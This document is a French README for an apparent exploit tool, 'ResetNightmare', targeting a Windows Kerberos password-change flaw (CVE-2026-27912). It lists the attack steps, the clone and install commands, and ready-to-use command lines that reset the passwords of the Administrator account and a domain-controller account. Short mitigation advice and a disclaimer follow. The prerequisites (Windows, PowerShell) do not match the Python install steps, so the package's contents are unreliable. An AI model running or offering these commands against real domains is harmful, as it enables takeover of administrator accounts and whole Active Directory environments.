Kerberos-CVE-2026-27912

CVE-2026-27912 - Vulnérabilité d'élévation de privilèges dans Kerberos Windows

ResetNightmare - Réinitialisation de mot de passe non autorisée via une faille du protocole de changement de mot de passe de Kerberos.

📋 Détails

🔍 Déroulement de l'attaque

1. Attacker has/creates account with UPN write permissions
2. Sets fake UPN to target's sAMAccountName
3. Requests TGT with NT-ENTERPRISE name type
4. Clears their own UPN
5. Uses TGT to reset target's password
6. Verifies password change success

📦 Prérequis

• Windows avec PowerShell
• Module ActiveDirectory (Install-WindowsFeature RSAT-AD-PowerShell)
• Rubeus.exe (téléchargement depuis GhostPack/Rubeus)
• Accès réseau au contrôleur de domaine

🚀 Installation

# Clone repository
git clone https://github.com/oxstussz-eng/Kerberos-CVE-2026-27912.git
cd Kerberos-CVE-2026-27912

# Install dependencies
pip install -r requirements.txt

💻 Utilisation

Attaque de base

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass

Compte d'ordinateur cible

python resetnightmare.py -t DC01$ -p NewPass123 -u AttackUser -up AttackPass -c

Créer un nouveau compte

python resetnightmare.py -t Admin -p NewPass -u NewUser -up Pass -path "OU=Temp,DC=domain,DC=local"

Mode verbeux

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass -v

📊 Arguments

🛡️ Atténuation

1. Appliquez le correctif officiel de la mise à jour de sécurité Microsoft
2. Segmentez le réseau pour limiter l'accès réseau adjacent
3. Appliquez le moindre privilège - restreignez les autorisations d'écriture UPN
4. Surveillez les modifications UPN suspectes et les réinitialisations de mot de passe

⚠️ Avertissement

Réservé aux tests de sécurité autorisés et à la recherche pédagogique.

L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce logiciel.

📚 Références

• NVD: CVE-2026-27912
• Guide des mises à jour de sécurité Microsoft

👨‍💻 Auteur

n0vax1337 / Chercheur en sécurité

📄 Licence

Licence MIT - voir LICENSE

Dernière mise à jour : 2026